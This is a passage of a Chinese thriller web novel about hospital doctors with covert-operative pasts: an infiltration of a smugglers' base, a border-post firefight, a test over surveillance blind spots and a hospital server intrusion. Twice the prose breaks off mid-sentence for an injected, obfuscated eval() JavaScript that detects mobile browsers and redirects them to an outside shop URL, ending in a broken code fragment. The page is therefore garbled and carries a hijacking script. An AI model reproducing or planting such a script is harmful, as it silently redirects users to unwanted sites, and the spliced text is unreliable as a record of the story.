他递给钟妍妍一个档案袋:“你的第一个真实任务。不是杀人,是获取情报。目标是一个边境走私团伙的头目,他最近在接触一种新型生物武器。你的任务:潜入他的据点,获取交易记录和样品。” 钟妍妍打开档案袋,里面是目标的照片、据点的地图、以及她的伪装身份——一个从城里来的护士,应聘走私团伙的私人医疗员。 “为什么是我?”她又问。 “因为你是医生,他们需要医疗人员。”边兄说,“也因为你是新人,没有案底,不会被怀疑。更因为……” 他看着钟妍妍的眼睛:“我想看看,你学的东西,能不能用在实战中。” 钟妍妍合上档案袋:“我接受。” --- **一周后,边境小镇,走私团伙据点。** 钟妍妍穿着护士服,背着医疗箱,站在一栋三层小楼前。这里是走私团伙的“办公室”兼住处,表面上是进出口贸易公司。 她的伪装身份完美:真的护士执照,真的工作经历,真的背景故事——父亲早逝,母亲重病,需要钱。走私团伙的人查了,没发现问题。 她被带进去,见头目——一个五十多岁的男人,脸上有刀疤,眼神凶狠,但对她还算客气。 “钟护士,我们这里条件简陋,但薪水不会亏待你。”头目说,“主要工作是照顾我几个兄弟的健康,偶尔处理一些……特殊伤病。” 特殊伤病,指的是枪伤、刀伤、毒品过量。 钟妍妍点头:“明白。” 她在据点里待了三天,白天给几个受伤的成员换药,晚上偷偷观察。据点守卫森严,每个出口都有人把守,但内部管理松散——这些人不是军人,是混混。 第四天晚上,机会来了。 头目接到一个电话,语气兴奋:“货到了?好,我马上过去。” 他带着几个核心成员离开,据点里只剩下几个看门的和两个伤员。 钟妍妍借口给伤员换药,进入了据点的内部区域。根据边兄给的情报,重要文件都藏在头目办公室的保险柜里。 办公室门锁着,但她早有准备——从医疗箱里拿出一个细长的工具,是特制的□□,边兄给的。三十秒,锁开了。 她闪身进去,关上门。 办公室很乱,文件散落一地。保险柜在书桌后面,是老式的机械锁。她蹲下,把听诊器贴在保险柜门上,转动密码盘——这是边兄教的,听内部机簧的声音判断密码。 第一组数字:23-47-09。 锁开了。 里面有几叠现金,一些账本,还有一个冷藏盒。她打开冷藏盒,里面是几个密封的试管,装着无色液体。试管上贴着标签:“X-7原型”。 生物武器样品。 她快速拍照,账本翻到关键页也拍,然后把一切恢复原样。 正准备离开时,外面传来脚步声和说话声——头目提前回来了。 钟妍妍心跳加速。她环顾四周,唯一的窗户是封死的,门出去必然撞见。 她迅速做出决定:躲进书桌下面,用桌布遮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937042|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住。 门开了,头目和两个人走进来。 “妈的,交易取消了,对方说有内鬼。”头目的声音很暴躁,“查!给我查清楚谁走漏了风声!” “老大,会不会是新来的那个护士?”一个人说。 钟妍妍在桌下屏住呼吸。 “护士?她有什么问题?” “太干净了。背景干净得像假的。” 头目沉默了几秒:“把她叫来,我问问。” 脚步声离开,去找她了。 钟妍妍知道,一旦被叫来,她就会暴露。因为“她”应该在自己的房间里,而不是失踪。 她必须立刻离开。 趁着办公室里暂时没人,她从桌下爬出来,迅速走到门口,听了听——走廊里没人。 她拉开门,快步走向后门——那里有个垃圾通道,通到楼后的巷子,是她事先侦察好的逃生路线。 但就在她即将到达后门时,一个守卫从拐角走出来,看见她,愣了一下:“钟护士?你去哪?” “有个伤员说伤口疼,我去车里拿点止痛药。”钟妍妍面不改色。 “车在前面,这是后门。” “我走错了。”钟妍妍转身,“不好意思,我刚来,还不熟。” 她往回走,但守卫跟了上来:“我陪你去吧。晚上这里不太安全。” 钟妍妍知道,自己被怀疑了。 她走到前厅,假装往门口走,突然一个踉跄,撞翻了旁边的花瓶。“哎呀!” 守卫下意识地去扶她,就在这一瞬间,钟妍妍从袖子里滑出一支注射器——里面是高浓度的镇静剂,猛地扎进守卫的脖颈。 守卫瞪大了眼,想喊,但药物迅速起效,他软倒下去。 钟妍妍扶住他,拖到角落,用垃圾桶盖住。然后她快步走出大门,上了自己的车——一辆破旧的小货车,是她伪装身份的一部分。 发动,驶离。 后视镜里,据点灯火通明,有人跑出来但已经追不上了。 她开到预定的交接点,把相机和记忆卡交给等在那里的边兄。 “样品呢?”边兄问。 “在据点保险柜,拿不出来。”钟妍妍说,“但我拍了照,标签很清楚。” 边兄看了看照片,点头:“够了。任务完成。” 他递给钟妍妍一个新证件:“从今天起你的代号是‘尖吻蝮’。这是你的新身份,新档案,新人生。” 钟妍妍接过。证件上的名字不是钟妍妍,是一个陌生的名字,照片是她的,但发型和妆容都变了。 “为什么叫尖吻蝮?”她问。 “因为那种蛇,”边兄说,“安静,隐蔽,但毒性极强。被咬的人起初感觉不到疼痛,等发现时,毒液已经扩散。而你,钟妍妍,你学会的不是如何咬人,而是如何选择什么时候咬,咬谁,以及……咬多深。” 他看着钟妍妍:“这次任务,你做得不错。但有个错误:你用了注射器,留下了物证。下次,用更隐蔽的方式。” “如果下次没有更隐蔽的方式呢?” “那就确保没有目击者。”边兄说得很平静,“要么不行动,要么行动彻底。这是生存法则。” 钟妍妍记住了。 从那以后,她成了“尖吻蝮”。 在战地医院又待了一年,处理了无数伤员,也执行了七个秘密任务。有的成功,有的失败,有的……付出了代价。 最严重的那次,她为了救一个被俘的队友,暴露了身份,导致整个情报网被摧毁,三个线人死亡。边兄把她骂得狗血淋头:“感情用事!我教你的都忘了吗?任务第一,自己第二,其他人第三!” 她没反驳。因为边兄说得对。 但那个队友活下来了。后来他退役,开了个小餐馆,每年圣诞节都会给她寄一张贺卡,写着:“谢谢你给了我第二次生命。” 钟妍妍从不回信。 但她留着所有贺卡。 那是她作为“尖吻蝮”的这些年里,少数几个能证明她不只是个杀手的证据。 --- 现在,圣保罗医院,妇科办公室。 钟妍妍从回忆里回过神来。窗外是熟悉的城市夜景,不是边境的雨林,不是战地的帐篷。但她知道,有些东西永远不会变。 比如危险。 比如选择。 比如毒牙该在什么时候露出。 她打开抽屉,最底层压着几张泛黄的贺卡,和一个金属扁壶——十二年前边兄给她的那个,里面还有半壶医用酒精兑的伏特加。 她拧开盖子,喝了一小口。 灼烧感从喉咙蔓延到胃里,像一种仪式,提醒她是谁,从哪里来,要做什么。 然后她合上抽屉,锁好。 打开电脑,调出徐燕风的最新训练记录。 那个年轻人正在快速成长,比她当年快得多。也许是天赋,也许是时代不同了,也许……只是因为他有更强烈的理由要变强。 她想起徐燕风问她的问题:“您控制住毒牙了吗?” 她当时没有完全回答。 现在她对自己说:控制住了,大部分时间。但有些时候,毒牙会自己露出来。 比如想到父亲的时候。 比如看到那些像当年毁了她家庭的女人一样的人的时候。 比如……当正义无法通过正常途径实现的时候。 她关掉电脑,站起身,走到窗前。 远处,港口的灯火像散落的星辰。 这座城市看起来很平静,但她知道,平静之下是暗流。而她,尖吻蝮——已经在这暗流里游了数年。 还会继续游下去。 直到游到终点——或者,游到游不动的那天。 她拉上窗帘,关灯。 办公室陷入黑暗。 像蛇回到洞穴。 等待下一个需要露出毒牙的时刻。 25. 关文晶的往事 六年前,瑆洲北部边境山区,野战医疗队驻地。 凌晨三点,同样还是医学生的关文晶被对讲机里急促的呼叫惊醒。 “关!三号哨所交火,有伤员!需要紧急支援!” 她瞬间清醒,翻身下床,一边套上野战服一边抓起医疗箱。帐篷外,雨下得很大,雷声在山谷间回荡,闪电照亮了远处山脊的轮廓。 三号哨所在营地东北方向五公里,是边境线上最前沿的观察点。那里驻扎着一个小队,总共八个人。关文晶所在的医疗队轮值支援这个区域已经三个月,她处理过枪伤、地雷伤、毒蛇咬伤,但还没经历过真正的交火。 “几个人受伤?”她对着对讲机问,声音尽量保持平稳。 “不清楚!通讯中断前说至少三个,其中两个重伤!” 关文晶背上医疗箱,冲出帐篷。营地已经动起来,一辆改装过的吉普车引擎轰鸣,驾驶员是医疗队的军医助理陈彼得,一个二十出头的年轻人,平时负责开车和搬运伤员。 “关,上车!”陈彼得喊。 车上还有另一个医疗兵,阿什顿,,三十多岁,经验丰富。三人跳上车,吉普车冲进雨夜。 山路崎岖,雨后泥泞,车灯在黑暗中切开两道摇晃的光柱。关文晶坐在副驾驶,手里紧握着医疗箱的背带,眼睛盯着前方。雨水不断打在挡风玻璃上,雨刷开到最大也来不及刮净。 “通讯恢复了吗?”她问。阿什顿在后座调试着野战电台,摇摇头:“还是断的。可能是雷击损坏了天线,也可能是……哨所出事了。” “出事”意味着可能被攻占,或者全灭。 关文晶不敢想。她见过死亡——在医学院的解剖室,在医院的重症监护室,甚至在边境处理过因疾病或意外去世的平民。但战场上的死亡,是另一回事。 车开了二十分钟,接近哨所所在的山脊。突然,前方传来爆炸声——不是雷声,是手雷或炸药,闷响在山谷里回荡。 “停车!”关文晶喊。 陈彼得猛踩刹车,吉普车在泥地里滑行了几米才停住。三人下车,蹲在车旁。关文晶从医疗箱里拿出夜视仪戴上,绿色的视野里,前方山脊上的哨所建筑轮廓清晰,但没有灯光,也没有人影。 太安静了。 “关,我们等增援吧。”陈彼得声音有些发抖,“这不对劲。” “伤员等不了。”关文晶说,但心里也在犹豫。战场第一条守则:确保自身安全才能救人。但医生守则第一条:生命至上。 她在心里快速计算。从营地出发到现在二十五分钟, 增援部队最快还要十五分钟才能到。如果哨所真有重伤员,十五分钟可能就是生与死的差距。 “阿什顿,你留在这里,保持通讯,等增援。”她做出决定,“彼得跟我上去。我们带担架和急救包,轻装。” “关医生……”陈彼得还想说什么。 “这是命令。”关文晶声音坚定,“走。” 两人背上急救包,抬着折叠担架,沿着山路向上。雨小了些,但山路湿滑,每一步都要小心。关文晶走在前面,夜视仪扫视四周,耳朵竖起听除了雨声以外的动静。 距离哨所一百米时,她闻到了。 血腥味,混合着火药味和焦糊味。很浓。 她抬手示意陈彼得停下,自己蹲下,仔细观察。哨所是一栋两层的水泥建筑,一楼门窗完好,但二楼有窗户破了,墙壁上有弹孔。 没有灯光,没有声音。 “关,我们……”陈彼得小声说。 关文晶举起手,示意安静。她听到了——很微弱,像是呻吟声,从建筑后面传来。 有活人。 “跟我来,轻点。”她低声说,绕向建筑侧面。 两人贴着墙根移动,每一步都踩得很轻。走到建筑转角处,关文晶探头看了一眼—— 院子里的景象让她胃部紧缩。 地上躺着四个人,穿着迷彩服,一动不动。血混着雨水,在泥地上晕开一片暗红色。还有两个人靠在墙边,一个捂着腹部,一个抱着腿,都在低声呻吟。 “伤员!”关文晶立刻冲出去,陈彼得跟在后面。 她先检查地上的四个人。脉搏,没有。呼吸,没有。瞳孔,散大。四个人都死了,死于枪伤,致命位置都在头胸。 她转向墙边的两个伤员。腹部受伤的那个意识模糊,肠子从伤口露出来,但还有脉搏。腿部受伤的那个清醒着,脸色苍白,但还能说话。 “医生……你们终于来了……”腿伤员喘着气,“班长他们……死了……” “别说话,保存体力。”关文晶快速检查两人的伤情,“陈彼得,先处理腹部伤,清创,包扎,准备转运。腿部伤我来。” 她跪在腿伤员旁边,剪开裤腿。伤口在大腿外侧,子弹贯穿,没有伤及大血管,但股骨可能骨折。她快速止血,用夹板固定。 “其他人呢?”她问。 “还有两个……在二楼……”腿伤员说,“阿周和……阿光……他们守着楼梯……” 话音刚落,二楼传来枪声。 不是交火的那种连续射击,是单发,然后是重物倒地的声音。 关文晶抬头,二楼的窗户黑洞洞的。 “陈彼得,你留在这里,我上去看看。”她说。 “关,太危险了!” “还有伤员在上面。”关文晶已经站起来从医疗箱里拿出一把手枪——医疗队配发的自卫武器,她只在训练场打过靶,从没真的用过。 她检查弹匣,上膛,握紧。手心出汗,但手指很稳。 走进建筑,一楼空荡荡,只有散落的文件和打翻的桌椅。楼梯在角落,她贴着墙向上走,每一步都放得很轻。 走到楼梯转角,她看见了。 楼梯顶端躺着一个人,穿着迷彩服,胸口一片血红。是哨所的士兵,已经死了。 而在楼梯尽头,二楼门口,另一个士兵背对着她,端着枪,枪口对着二楼走廊深处。 “别动!”关文晶举枪,声音在空荡的楼梯间里显得突兀。 那士兵猛地转身,枪口对准她——但在看清她的白大褂和医疗标志后,愣了一下。 “医生?你是医疗队的?” “我是关文晶,野战医疗队医生。”她保持枪口对准对方,“放下枪。” “不能放!”士兵的声音很年轻,带着哭腔,“里面有……有敌人……” “敌人?” “他们假装伤员……骗我们开门……”士兵的声音在颤抖,“班长他们……都被……” 关文晶明白了。这不是普通的交火,是渗透袭击。敌人伪装成伤员或平民,接近哨所,突然发难。 “还有几个敌人?”她问。 “不知道……至少两个……在二楼房间里……” “我们的伤员呢?” “阿光……在走廊尽头那间屋子……受伤了……我守在这里……” 关文晶快速思考。增援还有十分钟到,她可以等。但阿光如果重伤,十分钟可能就死了。 “你守在这里。”她说,“我进去救人。” “他们可能有枪!” “我知道。”关文晶深吸一口气,“所以我要快。” 她侧身从士兵身边挤过去,进入二楼走廊。走廊不长,两侧各有三个房间。尽头那间门关着,门缝下透出微弱的光。 她贴着墙移动,耳朵竖起来听。左边的房间里有细微的响动,像是有人在翻找东西。 不是阿光所在的房间。 她继续向前,走到尽头房间门口,轻轻推开门—— 里面,一个年轻的士兵躺在血泊里,腹部中弹,呼吸微弱。房间里没有别人。 “阿光?”关文晶蹲下检查。 士兵睁开眼,看见她,嘴唇动了动:“医生……快走……他们有……” 话没说完,隔壁房间传来脚步声。 关文晶立刻起身,关上门,但没锁——锁坏了。她环顾房间,只有一张床、一个柜子、一扇窗户。窗户外面是陡峭的山坡,跳下去不死也重伤。 脚步声停在门外。 “里面的人,出来。”一个男人的声音,口音很重,不是瑆洲本地人。 关文晶握紧手枪,背靠墙,枪口对准门口。心跳得很快,但她强迫自己冷静。医学院的训练、野战医疗队的培训、无数次模拟演练——现在要用上了。 “我是医生,这里有伤员。”她大声说,尽量让声音平稳,“按照国际公约,医疗人员受保护。” 外面沉默了几秒。 然后门被猛地踹开。 一个穿着平民衣服的黑皮肤男人站在门口,手里拿着手枪。他看见关文晶的白大褂,愣了一下,但枪口没有放下。 “医生?”他上下打量她,“医疗队来了多少人?” “一个分队,后面还有增援。”关文晶撒谎,“你们已经被包围了,放下武器投降,可以保命。” 男人笑容狰狞:“你以为我会信?”他往前一步,枪口对准关文晶的额头:“把枪放下,我不杀女人,尤其是漂亮的女人。” 关文晶没有动。她在计算距离:三米。她的枪法不好,这么近的距离,打中身体的概率大,但未必致命。而对方的枪口已经对准她的头。 “我数到三。”男人说,“一……” 关文晶突然蹲下,不是后退,是向前扑,同时开枪。 她的子弹打中了男人的大腿,男人惨叫一声,身体失衡,但他也扣动了扳机—— 子弹擦过关文晶的肩膀,火辣辣的疼。她没停,继续向前,用身体撞向男人。 两人一起摔出门外,倒在走廊上。关文晶压在男人身上,手里的枪抵住他的胸口,连续扣动扳机。 三枪。 男人瞪大眼睛,嘴里涌出血,不动了。 关文晶喘着气,手在抖。她杀人了。第一次。 但她没时间思考。隔壁房间的门开了,另一个男人冲出来,看见同伴的尸体和关文晶,愣了一下,然后举枪—— “砰!” 枪声来自楼梯方向。守在那里的士兵开枪了,打中了第二个男人的肩膀。 第二个男人转身还击,关文晶趁机爬起来,冲回房间,拖起地上的阿光:“能走吗?” 阿光咬牙点头。关文晶架着他,冲出房间,往楼梯方向跑。 楼梯口的士兵还在和第二个男人交火,子弹打在墙壁上,水泥碎片飞溅。 “下楼!”关文晶喊。 三人跌跌撞撞冲下楼梯,跑出一楼,冲进院子。 陈彼得已经处理好了腹部伤员,看见他们出来,赶紧帮忙。 “增援到了!”阿什顿从吉普车方向跑来,身后是两辆军车,车灯刺破雨幕。 关文晶回头看了一眼哨所。二楼的枪声停了,第二个男人可能死了,也可能逃了。 她不知道。 她只知道,院子里躺着四个死人,她杀了一个人,救出了三个伤员。 还有一个伤员——二楼最开始那个躺在楼梯顶端的士兵,她没来得及确认是否真的死了。 后来增援部队清理现场时发现,那个士兵还有微弱的脉搏,如果当时她检查得更仔细,如果她先确认而不是直接上楼…… 他可能能活下来。 但战场上没有如果。 --- 三天后,野战医疗队驻地,战后总结会。 帐篷里坐满了人,气氛凝重。关文晶肩膀上缠着绷带,坐在角落里,眼睛盯着地面。 队长在台上做总结:“……此次袭击造成四名士兵死亡,三人重伤。医疗队成功救出三名伤员,击毙两名敌人。关文晶表现出色,在极端危险情况下……” “我有问题。” 一个声音打断队长。是牺牲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937043|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 士兵的战友,一个脸上还带着稚气的年轻士兵,眼睛红肿,声音里满是愤怒。 “你说。”队长点头。 “为什么医疗队要单独上去?为什么不等增援?”年轻士兵站起来,盯着关文晶,“如果等增援一起上去,王班长他们可能不会死!还有小吉,他本来在楼梯上还有气,如果医生先救他……” “够了。”队长打断,“当时的情况……” “当时的情况是医生判断失误!”年轻士兵吼,“她以为只有伤员,没想到有敌人!她的误判导致了更多伤亡!” 帐篷里安静下来。所有人都看向关文晶。 关文晶抬起头,看着那个年轻士兵,看着其他牺牲士兵的战友,看着那些带着责备、悲伤、愤怒的眼神。 她没有辩解。 因为那个士兵说得对。如果她再谨慎一点,如果她先确认整个哨所的情况而不是直奔伤员,如果她…… “关,你有什么要说的吗?”队长问。 关文晶站起来,声音平静但有些沙哑:“没有。我的判断有误,导致了不必要的风险。我承担责任。” 她顿了顿:“但从医学角度,腹部贯穿伤合并肠外露的伤员,等待增援的十五分钟,死亡率会增加40%。腿部枪伤骨折如果并发感染,可能需要截肢。我当时的选择,是基于‘时间就是生命’的医疗原则。” “医疗原则?”年轻士兵冷笑,“可你不是在手术室,你是在战场!你的命也是命!你死了,谁来救其他人?” 关文晶沉默。 他说得也对。 那天晚上,她差点死了。如果那个男人的子弹偏一点,如果守楼梯的士兵没及时开枪,如果…… 她活下来了,但有人死了。因为她的误判。 总结会结束后,队长单独留下她。 “那个士兵的话,你别太往心里去。”队长说,“战场上,每个决定都是在信息不全的情况下做的。没有人能百分之百正确。” “但医生应该追求百分之百。”关文晶说,“生命不是数字,不能算概率。每个决定,都必须精确,必须正确。” 队长看着她:“你太年轻,也太理想主义。战场会教你,有时候没有‘正确’的选择,只有‘相对好’的选择。” “那我就追求那个‘相对好’。”关文晶说,“通过更精确的判断,更冷静的分析,更全面的信息。” 从那天起,她变了。 不再只依赖医学知识和直觉,而是学习战场情报分析、敌我识别、风险评估。她申请参加特种医疗培训,学习如何在交火区行动,如何在有威胁的环境中救人。 她也学会了更冷——不是冷漠,是冷静。在压力下保持绝对理智,在情感冲击下保持绝对清醒。 一年后,她在一次边境反渗透行动中,带领医疗小队成功救出六名人质,无一人伤亡。行动报告里,上级给了她一个代号: “锯鳞蝰”。 备注:该蛇种不主动攻击,但被踩到或威胁时会猛烈反击,毒牙短但毒性强,咬伤后疼痛剧烈但致死率低—— 象征关文晶的行事风格:不主动介入冲突,但一旦决定行动,必求精确、有效、可控。 --- 现在,圣保罗医院,儿科值班室。 关文晶从回忆里回过神来。窗外的城市灯火平静,没有枪声,没有血腥味,只有监护仪的“滴滴”声和远处街道的车流声。 但她知道,有些战场,不在山区,不在边境。 而在医院里,在这座看似平静的建筑里。 她拿起桌上那份关于钟妍妍父亲钟大仓的档案复印件——是今天下午她从档案馆“借”出来的,用了一些不那么合法的手段。 翻开第一页, 是钟建国的入职照片。年轻,英俊,眼神清澈,像所有刚毕业的医学生一样,对未来充满希望。 而最后一页,是离职记录。潦草的“辞职”二字,下面盖着公章。但边缘处有一个小小的手写备注,字迹几乎淡得看不见: “调查中止,档案封存。涉及1988年7月手术室火灾及后续贪污案。建议不再追查。——审查委员会” 关文晶盯着那句话看了很久。 “调查中止”。 “不再追查”。 像极了当年哨所事件后的总结会——没有人被追责,没有人被问责,一切都被“封存”,被“遗忘”。 而钟妍妍的父亲,成了牺牲品。或者说,替罪羊。 关文晶合上档案,锁进抽屉。 她理解钟妍妍的愤怒了。 如果是她的父亲被这样对待,如果是她的家庭被这样毁掉,她也会变成“尖吻蝰”,也会在阴影里寻找复仇的机会。 但理解不代表认同。 关文晶站起身,走到窗边。玻璃上倒映出她的脸——冷静,专业,无懈可击。一张属于“锯鳞蝰”的脸。 她选择的路,不是复仇,是查明真相。 不是私刑,是公义。 不是暗杀,是揭露。 哪怕这条路更难,更慢,更危险。 因为她是关文晶。 是关家二小姐。 是儿科医生。 也是“锯鳞蝰”。 她拿起手机,给调查员C发信息: 【我要1988年手术室火灾的所有相关资料,包括当时调查委员会的成员名单、会议记录、最终报告。另外,查一下钟大仓离职后去了哪里,是否还活着。——锯鳞蝰】 发送后,她放下手机,看着窗外。 雨又开始下了,细密的雨丝打在玻璃上,像眼泪。 但关文晶没有哭。 她只是静静地站着,像一条潜伏在暗处的蛇。 等待时机。 等待证据。 等待……那个能让她露出毒牙的时刻。 不是为复仇。 是为真相。 26. 徐燕风的试探 下午四点,医院图书馆三楼的医学期刊区几乎空无一人。 徐燕风坐在靠窗的位置,面前摊开一本厚厚的《药理学原理》,但眼睛没有看页面,而是透过书架缝隙,观察斜对面那张桌子。 关文晶在那里。 她今天没穿白大褂,而是一身浅灰色的休闲西装,头发松松地挽在脑后,戴着一副无框眼镜,看起来像个普通的学者。面前摆着几本大部头的儿科专著,还有一个打开的笔记本电脑,屏幕上显示着复杂的基因序列图。 她在查资料。关于什么,徐燕风不知道,但肯定不是普通的病例。 他已经观察她十五分钟了。关文晶很专注,偶尔在笔记本上记录,偶尔用手机拍下书页内容,但每隔几分钟就会抬头环顾四周——不是下意识的动作,而是有规律的警戒性扫视。 受过训练的人的本能。 徐燕风深呼吸三次,让心跳平稳下来。然后他合上书,站起身,走向图书馆另一端的复印机区。经过关文晶那张桌子时,他“不小心”碰掉了自己夹在书里的一张纸。 纸飘落在地,正好落在关文晶脚边。 那是一张手绘的医院平面图,用红笔标注了几个位置:档案室、行政部办公室、钟妍妍的十二楼妇科诊室。其中一个位置画了个圈还在旁边写着一行小字:“周三18:00,监控盲区,持续3分钟。” 很明显的“线索”。 徐燕风蹲下捡纸,动作故意慢了一拍,让关文晶有时间看清内容。然后他迅速把纸捡起来塞回书里,抬头对关文晶抱歉地笑笑:“不好意思。” 关文晶看着他,眼神平静得像湖水:“没事。” 她继续低头看自己的书,仿佛什么都没看见。 但徐燕风知道她看见了。她的瞳孔在那个瞬间有微小的收缩,手指在书页上停顿了零点几秒——这些都是钟妍妍教过的“信息接收反应”。 他走回自己的座位,坐下,重新翻开书,但心思已经不在书上。 他在等。 等关文晶的反应。 如果她立刻上报——给医院行政部、甚至给尹柏萧—— 那就证明她完全站在“秩序”那边,是他的敌人。 如果她当作没看见,或者私下调查,那就说明她至少对这件事有兴趣,或者……她有自己的打算。 五分钟过去了,关文晶没动。 十分钟,她还是没动,但敲键盘的速度明显变慢了。 十五分钟,她合上电脑,开始收拾东西。 徐燕风的心跳微微加速。她要走了?去报告?还是…… 关文晶把书放回书架,拿起包和电脑,朝出口走去。经过徐燕风桌边时,她停了一下。 没有看徐燕风,而是看着窗外,像是在自言自语,声音很轻: “周三晚上六点,档案室区域的监控不是盲区。三个月前升级了,新增了两个隐藏摄像头,覆盖了所有死角。盲区时间是周四凌晨两点到两点零七分,系统自动重启窗口。” 说完,她继续往前走,消失在楼梯口。 徐燕风坐在原地,愣了几秒,然后笑了。 不是开心的笑,是那种“果然如此”的笑。 关文晶识破了他的试探,而且用这种方式回应:我不揭发你,但我也不是好糊弄的。我知道的比你以为的多。 而且她提供了一个“真信息”——周四凌晨两点的监控盲区。那是提醒,还是陷阱? 徐燕风合上书,也收拾东西离开。走出图书馆时,天阴了下来,远处有雷声滚动。要下雨了。 他拿出手机,给钟妍妍发了一条加密信息: 【试探完成。目标识破但未揭发。提供反向信息:周四凌晨02:00-02:07档案室监控盲区。是否可信?】 几分钟后,回复: 【信息属实。监控系统重启窗口每周四凌晨都有,但时间随机,在01:30到03:30之间变动。她能知道具体时间,说明她有高级权限。继续观察,保持距离。——V】 徐燕风收起手机,走向医学院主楼。他需要去一趟解剖实验室,今天有标本考试。 但脑子里还在想关文晶。 她为什么选择沉默?为什么帮他——或者说,至少没有害他? 是因为她也在调查钟妍妍,所以需要他这个“桥梁”? 还是因为……她真的像那晚在儿科办公室说的那样,想“救”他? 走到主楼门口时,雨开始下了,豆大的雨点砸在地面上,溅起水花。徐燕风没带伞,正要冲进雨里,忽然听见身后有人叫他:“徐燕风。” 他回头。关文晶站在医学院教学楼的屋檐下,手里拿着一把黑色的长柄伞。她没看他而是看着雨幕,像在欣赏雨景。 “关医生?”徐燕风走过去。 “伞给你。”关文晶把伞递过来,“我来找尹教官谈谈话,用不着。” 徐燕风接过伞,伞柄还带着她的体温。他犹豫了一下,问:“为什么?” “什么为什么?” “为什么告诉我监控的事?为什么不举报我?” 关文晶终于转过头看他。雨下得很大,水汽让她的眼镜蒙上了一层薄雾,看不清眼神。 “因为我知道你在试探我。”她说,“你想知道我会怎么选——上报,还是沉默。而我选择了让你猜不透的第三种:既不上报,也不完全配合。只是……提供一点你可能会需要的信息。” “为什么?” “因为我觉得你还没完全变成她那样。”关文晶的声音在雨声中显得有些飘忽,“你在犹豫,在挣扎,在试探。这说明你还有良知,还有选择的空间。” 她顿了顿:“而我喜欢给有选择空间的人多一点选择。” 徐燕风握紧伞柄:“那您的选择是什么?关医生,您到底站在哪一边?” 关文晶笑了,笑容很淡,带着点自嘲:“我站在‘尽可能救更多人’的那一边。有时候这意味着维护法律和秩序,有时候意味着在规则之外找一条路。” 她看向主楼的方向:“就像儿科,有些患儿的病,按标准治疗方案只能缓解症状,不能根治。但如果用一些还在临床试验阶段的新药或者做一些有风险的手术,可能能救他们的命。你会怎么选?遵守规定,让孩子慢慢死去?还是冒险一试,哪怕可能会失败,甚至可能会被追责?” 徐燕风没有回答。 “我选择冒险。”关文晶说,“因为我是医生,我的第一责任是对患者的生命负责,不是对规定负责。同样,在这个医院,在这个城市,有些事如果按规矩来,只会让坏人逍遥好人受害。那我就要在规矩之外找别的办法。” 她看着徐燕风:“这就是我的选择。不是黑,不是白,是灰。但至少,我清楚自己在做什么,为什么做。” 雨小了些,变成细密的雨丝。关文晶从包里拿出另一把折叠伞,打开:“我该走了。伞不用还,我有很多把。” 她走进雨里,朝行政楼走去。走了几步,又停住,回头:“对了,周四凌晨两点,档案室除了监控盲区,还有一件事:那段时间,监控室的值班员要利用那几分钟做系统自检,没人看实时画面。但三点整会有一次全面巡查包括档案室。如果你要去做什么,请注意时间窗口。” 说完,她转身离开,背影在雨幕中渐渐模糊。 徐燕风站在原地,手里握着那把黑色的长柄伞。 伞很沉,做工精良,伞柄是实木的,上面刻着一个细小的标记:一个抽象的三头蛇图案,和那份加密病历上的印章一样。 怪哉。她怎么会有? 徐燕风撑开伞,走进雨里。雨水打在伞面上,发出密集的声响,像某种密码。 他想起钟妍妍的话:“在这个国度,没有真正的‘干净’。” 关文晶说她站在灰色地带。 钟妍妍说她站在第二象限——不合法但道德。 那他呢?他站在哪里? 他不知道。 但他知道,从今天开始,他和关文晶之间,有了一种微妙的默契。 不是盟友,不是敌人。是两个在灰色地带行走的人,偶尔相遇,偶尔交换信息,偶尔……互相测试。 像两条蛇在森林里擦身而过。 没有攻击,也没有亲近。 只是各自游走,知道对方的存在,知道对方有毒牙,但也知道,至少在某个时刻,对方选择不咬。 这就够了。 徐燕风走到解剖实验室门口,收起伞。伞面上的水珠滚落,在地上聚成一小滩。 他看着那滩水,倒映出走廊天花板上的灯光,扭曲,破碎,但依然明亮。 像这个世界的真相。 扭曲,破碎。 但如果你换个角度看,也许能看到不一样的图案。 他推开门,走进实验室。 福尔马林的气味扑面而来,混合着消毒水和旧纸张的味道。实验室里只有几个学生在准备考试,很安静。 徐燕风走到自己的操作台前,戴上手套,拿起手术刀。 刀刃在灯光下闪着寒光。 像毒牙。 他看着那把刀,又想起关文晶的话:“我喜欢给有选择空间的人,多一点选择。” 他有选择吗? 有。 但每个选择,都有代价。 他放下手术刀,开始预习解剖结构。 窗外的雨还在下。 一场无声的测试结束了。 但更大的测试,也许才刚刚开始。 次日清晨六点半,圣保罗医院的晨间交班还没开始,尹柏萧的办公室门就被敲响了。敲门声急促,带着一种不祥的节奏。 尹柏萧放下手里的咖啡,皱眉:“进。” 门开了,进来的是巴颂老头,此刻脸色苍白,手里拿着一个平板电脑,手指都在发抖。 “尹教官,出……出事了。” “什么事?”尹柏萧站起来。 “又有人……黑进了医院的主服务器。”巴颂把平板递过来,屏幕上显示着一串复杂的代码和日志记录,“凌晨三点到五点之间,有三个不同的IP地址,从三个不同的物理位置,同时尝试访问加密病历区的核心数据库。而且……都成功了。” 尹柏萧接过平板,快速浏览。日志显示得清清楚楚: 【03:14:22-IP:10.32.147.66(妇科医生工作站-2)-用户:钟妍妍-访问:加密病历区-三级权限-陈婉 